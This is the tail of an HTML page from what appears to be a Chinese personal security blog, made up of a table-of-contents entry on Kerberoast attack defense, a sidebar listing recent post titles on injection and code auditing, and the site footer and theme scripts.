href="#0x04-Kerberoast%E6%94%BB%E5%87%BB%E9%98%B2%E8%8C%83"><span class="toc-number">4.</span> <span class="toc-text">0x04 Kerberoast攻击防范</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time datetime="2022-11-28T07:28:02.000Z" title="发表于 2022-11-28 15:28:02">2022-11-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="企业 SDLC 安全生命周期管理"/></a><div class="content"><a class="title" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理">企业 SDLC 安全生命周期管理</a><time datetime="2022-11-15T14:03:44.000Z" title="发表于 2022-11-15 22:03:44">2022-11-15</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计漏洞(File Operation\Redirect\Cors)"/></a><div class="content"><a class="title" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)">Go 代码审计漏洞(File Operation\Redirect\Cors)</a><time datetime="2022-11-05T09:15:28.000Z" title="发表于 2022-11-05 17:15:28">2022-11-05</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计高危漏洞(sqli\cmd\ssrf)"/></a><div class="content"><a class="title" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)">Go 代码审计高危漏洞(sqli\cmd\ssrf)</a><time datetime="2022-10-30T06:57:14.000Z" title="发表于 2022-10-30 14:57:14">2022-10-30</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Java代码审计： ClassLoader应用"/></a><div class="content"><a class="title" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用">Java代码审计： ClassLoader应用</a><time datetime="2022-05-10T08:21:21.000Z" title="发表于 2022-05-10 16:21:21">2022-05-10</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2022 By Zeo</div><div class="footer_custom_text">Hi, welcome to my blog!</div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><div class="js-pjax"></div></div></body></html>